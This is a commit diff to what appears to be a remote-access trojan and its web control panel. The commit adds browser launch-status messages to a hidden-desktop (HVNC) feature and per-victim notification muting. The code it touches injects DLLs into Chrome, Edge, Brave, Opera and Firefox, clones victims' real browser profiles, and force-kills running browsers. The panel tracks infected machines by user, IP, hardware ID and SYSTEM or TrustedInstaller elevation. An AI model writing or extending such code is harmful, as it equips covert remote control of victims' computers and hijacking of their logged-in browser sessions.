hvnc status and muting users.
This commit is contained in:
@@ -36,6 +36,7 @@ var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
|||||||
|
|
||||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||||
|
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||||
|
|
||||||
var hvncDXGIStatusCallback atomic.Value
|
var hvncDXGIStatusCallback atomic.Value
|
||||||
|
|
||||||
@@ -124,44 +125,59 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
|||||||
return result.pid, result.err
|
return result.pid, result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
|
||||||
// If clone is false, it starts the browser with injection but no path redirection.
|
|
||||||
// browser should be one of: "chrome", "brave", "edge".
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
|
||||||
if onDXGIStatus != nil {
|
if onDXGIStatus != nil {
|
||||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||||
}
|
}
|
||||||
|
notify := func(step string, success bool, detail string) {
|
||||||
|
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
|
||||||
|
if onLaunchStatus != nil {
|
||||||
|
onLaunchStatus(step, success, detail)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
if !ok {
|
if !ok {
|
||||||
|
notify("resolve", false, fmt.Sprintf("unknown browser %q", browser))
|
||||||
return fmt.Errorf("unknown browser %q", browser)
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
}
|
}
|
||||||
|
|
||||||
if exePath == "" {
|
if exePath == "" {
|
||||||
exePath = findBrowserExe(info)
|
exePath = findBrowserExe(info)
|
||||||
if exePath == "" {
|
if exePath == "" {
|
||||||
|
notify("resolve", false, fmt.Sprintf("%s executable not found in any search path", info.name))
|
||||||
return fmt.Errorf("%s not found", info.name)
|
return fmt.Errorf("%s not found", info.name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
notify("resolve", true, fmt.Sprintf("using %s", exePath))
|
||||||
|
|
||||||
if killIfRunning && clone {
|
if killIfRunning {
|
||||||
processName := info.exeName
|
processName := info.exeName
|
||||||
if processName == "" {
|
if processName == "" {
|
||||||
processName = filepath.Base(exePath)
|
processName = filepath.Base(exePath)
|
||||||
}
|
}
|
||||||
if isProcessRunning(processName) {
|
if isProcessRunning(processName) {
|
||||||
log.Printf("hvnc %s: killing running %s before cloning", info.name, processName)
|
notify("kill", true, fmt.Sprintf("killing running %s", processName))
|
||||||
killProcess(processName)
|
killProcess(processName)
|
||||||
time.Sleep(1500 * time.Millisecond)
|
time.Sleep(1500 * time.Millisecond)
|
||||||
|
if isProcessRunning(processName) {
|
||||||
|
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
|
||||||
|
} else {
|
||||||
|
notify("kill", true, fmt.Sprintf("%s terminated", processName))
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if !clone {
|
if !clone {
|
||||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
notify("launch", true, "starting without profile cloning")
|
||||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||||
if info.needsPatch && pid != 0 {
|
if info.needsPatch && pid != 0 {
|
||||||
go func() {
|
go func() {
|
||||||
defer recoverAndLog("hvnc patch opera", nil)
|
defer recoverAndLog("hvnc patch opera", nil)
|
||||||
@@ -173,15 +189,17 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
realUserData := getBrowserUserDataDir(info)
|
realUserData := getBrowserUserDataDir(info)
|
||||||
if realUserData == "" {
|
if realUserData == "" {
|
||||||
|
notify("clone", false, fmt.Sprintf("could not determine %s user data directory", info.name))
|
||||||
return fmt.Errorf("could not determine %s user data directory", info.name)
|
return fmt.Errorf("could not determine %s user data directory", info.name)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))
|
||||||
|
|
||||||
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
|
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
|
||||||
return fmt.Errorf("profile clone failed: %v", err)
|
return fmt.Errorf("profile clone failed: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
|
notify("clone", true, fmt.Sprintf("cloned profile to %s", cloneDir))
|
||||||
|
|
||||||
if info.isFirefox {
|
if info.isFirefox {
|
||||||
for _, lockFile := range []string{"parent.lock", "lock"} {
|
for _, lockFile := range []string{"parent.lock", "lock"} {
|
||||||
@@ -205,10 +223,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
notify("launch", true, "starting with cloned profile")
|
||||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||||
if info.needsPatch && pid != 0 {
|
if info.needsPatch && pid != 0 {
|
||||||
go func() {
|
go func() {
|
||||||
defer recoverAndLog("hvnc patch opera", nil)
|
defer recoverAndLog("hvnc patch opera", nil)
|
||||||
@@ -220,7 +241,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
|
|||||||
@@ -4,9 +4,11 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"errors"
|
"errors"
|
||||||
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
goruntime "runtime"
|
goruntime "runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -1511,12 +1513,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process", nil, func() {
|
goSafe("hvnc_start_process", nil, func() {
|
||||||
|
sendLaunchStatus := func(step string, success bool, detail string) {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||||
|
Type: "hvnc_browser_launch_status",
|
||||||
|
Browser: filepath.Base(strings.Trim(filePath, `"`)),
|
||||||
|
Step: step,
|
||||||
|
Success: success,
|
||||||
|
Detail: detail,
|
||||||
|
})
|
||||||
|
}
|
||||||
if killExe != "" {
|
if killExe != "" {
|
||||||
|
sendLaunchStatus("kill", true, "killing "+killExe)
|
||||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||||
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||||
|
if err != nil {
|
||||||
|
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
|
||||||
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
||||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||||
|
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
|
||||||
|
} else {
|
||||||
|
sendLaunchStatus("launch", true, "process created")
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
@@ -1723,7 +1742,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
Message: message,
|
Message: message,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
|
onLaunchStatus := func(step string, success bool, detail string) {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
|
||||||
|
Type: "hvnc_browser_launch_status",
|
||||||
|
Browser: browser,
|
||||||
|
Step: step,
|
||||||
|
Success: success,
|
||||||
|
Detail: detail,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -265,6 +265,14 @@ type HVNCInstalledAppsResult struct {
|
|||||||
Done bool `msgpack:"done"`
|
Done bool `msgpack:"done"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCBrowserLaunchStatus struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Browser string `msgpack:"browser"`
|
||||||
|
Step string `msgpack:"step"`
|
||||||
|
Success bool `msgpack:"success"`
|
||||||
|
Detail string `msgpack:"detail"`
|
||||||
|
}
|
||||||
|
|
||||||
type ClipboardContent struct {
|
type ClipboardContent struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
Text string `msgpack:"text"`
|
Text string `msgpack:"text"`
|
||||||
|
|||||||
@@ -382,6 +382,47 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const launchStatusEl = document.getElementById("launchStatus");
|
||||||
|
const launchStatusIcon = document.getElementById("launchStatusIcon");
|
||||||
|
const launchStatusLabel = document.getElementById("launchStatusLabel");
|
||||||
|
let launchHideTimer = null;
|
||||||
|
|
||||||
|
function handleBrowserLaunchStatus(msg) {
|
||||||
|
if (!launchStatusEl) return;
|
||||||
|
if (launchHideTimer) {
|
||||||
|
clearTimeout(launchHideTimer);
|
||||||
|
launchHideTimer = null;
|
||||||
|
}
|
||||||
|
launchStatusEl.classList.remove("hidden");
|
||||||
|
launchStatusEl.classList.add("flex");
|
||||||
|
|
||||||
|
const browser = msg.browser || "browser";
|
||||||
|
const step = msg.step || "";
|
||||||
|
const detail = msg.detail || "";
|
||||||
|
|
||||||
|
if (!msg.success) {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
||||||
|
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-rose-300";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.classList.add("hidden");
|
||||||
|
launchStatusEl.classList.remove("flex");
|
||||||
|
}, 15000);
|
||||||
|
} else if (step === "launch") {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
|
||||||
|
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-emerald-300";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.classList.add("hidden");
|
||||||
|
launchStatusEl.classList.remove("flex");
|
||||||
|
}, 8000);
|
||||||
|
} else {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
||||||
|
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-sky-300";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function handleBrowserCheckResult(msg) {
|
function handleBrowserCheckResult(msg) {
|
||||||
if (!msg.browsers || !contextMenu) return;
|
if (!msg.browsers || !contextMenu) return;
|
||||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||||
@@ -883,6 +924,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
handleDXGIStatus(msg);
|
handleDXGIStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||||
|
handleBrowserLaunchStatus(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
@@ -922,6 +967,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
handleDXGIStatus(msg);
|
handleDXGIStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||||
|
handleBrowserLaunchStatus(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -2251,6 +2251,7 @@ tbody tr:hover {
|
|||||||
.cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); }
|
.cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); }
|
||||||
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
|
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
|
||||||
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
|
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
|
||||||
|
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
|
||||||
|
|
||||||
.cv-group {
|
.cv-group {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
|
|||||||
@@ -39,6 +39,8 @@ const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
|
|||||||
const bulkUninstallBtn = document.getElementById("bulk-uninstall");
|
const bulkUninstallBtn = document.getElementById("bulk-uninstall");
|
||||||
const bulkClearBtn = document.getElementById("bulk-clear");
|
const bulkClearBtn = document.getElementById("bulk-clear");
|
||||||
const bulkGroupBtn = document.getElementById("bulk-group");
|
const bulkGroupBtn = document.getElementById("bulk-group");
|
||||||
|
const bulkMuteBtn = document.getElementById("bulk-mute");
|
||||||
|
const bulkUnmuteBtn = document.getElementById("bulk-unmute");
|
||||||
const serverVersionText = document.getElementById("server-version-text");
|
const serverVersionText = document.getElementById("server-version-text");
|
||||||
const selectedClients = new Set();
|
const selectedClients = new Set();
|
||||||
let lastNonOnlineStatus = "all";
|
let lastNonOnlineStatus = "all";
|
||||||
@@ -593,7 +595,9 @@ function initializeRenderer() {
|
|||||||
pageLabel,
|
pageLabel,
|
||||||
openMenu: (id, x, y) => {
|
openMenu: (id, x, y) => {
|
||||||
applyMenuSupportRules(id);
|
applyMenuSupportRules(id);
|
||||||
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id) });
|
const card = getClientCard(id);
|
||||||
|
const notificationsMuted = card?.dataset.notificationsMuted === "true";
|
||||||
|
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id), notificationsMuted });
|
||||||
loadPluginsForClient(id);
|
loadPluginsForClient(id);
|
||||||
},
|
},
|
||||||
openModal,
|
openModal,
|
||||||
@@ -896,6 +900,39 @@ bulkGroupBtn?.addEventListener("click", () => {
|
|||||||
openBulkGroupPicker([...selectedClients]);
|
openBulkGroupPicker([...selectedClients]);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
async function bulkSetMuted(muted) {
|
||||||
|
if (selectedClients.size === 0) return;
|
||||||
|
const ids = [...selectedClients];
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/clients/bulk-notifications-muted", {
|
||||||
|
method: "PATCH",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ clientIds: ids, muted }),
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
alert(data.error || "Failed to update notifications mute state");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
const action = muted ? "Muted" : "Unmuted";
|
||||||
|
alert(`${action} notifications for ${data.updated ?? 0}/${ids.length} clients`);
|
||||||
|
} catch (err) {
|
||||||
|
console.error(err);
|
||||||
|
alert("Failed to update notifications mute state");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
selectedClients.clear();
|
||||||
|
document
|
||||||
|
.querySelectorAll(".client-checkbox")
|
||||||
|
.forEach((cb) => (cb.checked = false));
|
||||||
|
updateBulkToolbar();
|
||||||
|
setTimeout(() => loadWithOptions({ force: true }), 200);
|
||||||
|
}
|
||||||
|
|
||||||
|
bulkMuteBtn?.addEventListener("click", () => bulkSetMuted(true));
|
||||||
|
bulkUnmuteBtn?.addEventListener("click", () => bulkSetMuted(false));
|
||||||
|
|
||||||
async function openBulkGroupPicker(clientIds) {
|
async function openBulkGroupPicker(clientIds) {
|
||||||
const groups = await loadGroups();
|
const groups = await loadGroups();
|
||||||
|
|
||||||
@@ -1066,6 +1103,27 @@ window.setClientTag = async (clientId, tag, note) => {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
window.setClientNotificationsMuted = async (clientId, muted) => {
|
||||||
|
if (!clientId) return false;
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/clients/${clientId}/notifications-muted`, {
|
||||||
|
method: "PATCH",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ muted: !!muted }),
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
alert(data.error || "Failed to update notification mute state");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} catch (err) {
|
||||||
|
console.error(err);
|
||||||
|
alert("Failed to update notification mute state");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
window.setClientGroup = async (clientId, groupId) => {
|
window.setClientGroup = async (clientId, groupId) => {
|
||||||
if (!clientId) return false;
|
if (!clientId) return false;
|
||||||
try {
|
try {
|
||||||
@@ -1447,6 +1505,13 @@ menu.addEventListener("click", async (e) => {
|
|||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
openGroupPicker(savedClientId);
|
openGroupPicker(savedClientId);
|
||||||
return;
|
return;
|
||||||
|
} else if (action === "toggle-mute") {
|
||||||
|
const card = getClientCard(contextCard);
|
||||||
|
const currentlyMuted = card?.dataset.notificationsMuted === "true";
|
||||||
|
const ok = await window.setClientNotificationsMuted(contextCard, !currentlyMuted);
|
||||||
|
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!isClientOnline(contextCard)) {
|
if (!isClientOnline(contextCard)) {
|
||||||
|
|||||||
@@ -408,7 +408,7 @@ export function createRenderer({
|
|||||||
}
|
}
|
||||||
|
|
||||||
function cardDigest(c) {
|
function cardDigest(c) {
|
||||||
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}`;
|
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderMerge(data, options = {}) {
|
function renderMerge(data, options = {}) {
|
||||||
@@ -506,6 +506,7 @@ export function createRenderer({
|
|||||||
el.dataset.nickname = String(client.nickname || "");
|
el.dataset.nickname = String(client.nickname || "");
|
||||||
el.dataset.customTag = String(client.customTag || "");
|
el.dataset.customTag = String(client.customTag || "");
|
||||||
el.dataset.bookmarked = String(!!client.bookmarked);
|
el.dataset.bookmarked = String(!!client.bookmarked);
|
||||||
|
el.dataset.notificationsMuted = String(!!client.notificationsMuted);
|
||||||
el.dataset.admin = String(!!client.isAdmin);
|
el.dataset.admin = String(!!client.isAdmin);
|
||||||
el.dataset.groupId = String(client.groupId || "");
|
el.dataset.groupId = String(client.groupId || "");
|
||||||
el.dataset.groupName = String(client.groupName || "");
|
el.dataset.groupName = String(client.groupName || "");
|
||||||
@@ -626,6 +627,7 @@ export function createRenderer({
|
|||||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
|
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||||
|
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||||
</div>
|
</div>
|
||||||
<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>
|
<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>
|
||||||
<div class="cv-meta-line">${meta}</div>
|
<div class="cv-meta-line">${meta}</div>
|
||||||
@@ -696,6 +698,7 @@ export function createRenderer({
|
|||||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
|
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||||
|
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||||
</span>
|
</span>
|
||||||
<span class="cv-user-line cv-mono"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}${client.ip ? `<span class="cv-mid">·</span><i class="fa-solid fa-network-wired"></i> ${escapeHtml(client.ip)}` : ""}</span>
|
<span class="cv-user-line cv-mono"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}${client.ip ? `<span class="cv-mid">·</span><i class="fa-solid fa-network-wired"></i> ${escapeHtml(client.ip)}` : ""}</span>
|
||||||
</div>
|
</div>
|
||||||
@@ -752,6 +755,7 @@ export function createRenderer({
|
|||||||
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
|
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
|
||||||
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
|
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
|
||||||
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
|
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
|
||||||
|
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
|
||||||
].join("");
|
].join("");
|
||||||
|
|
||||||
article.innerHTML = `
|
article.innerHTML = `
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ const MENU_GROUPS = [
|
|||||||
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
||||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||||
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
||||||
|
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
||||||
{ divider: true },
|
{ divider: true },
|
||||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
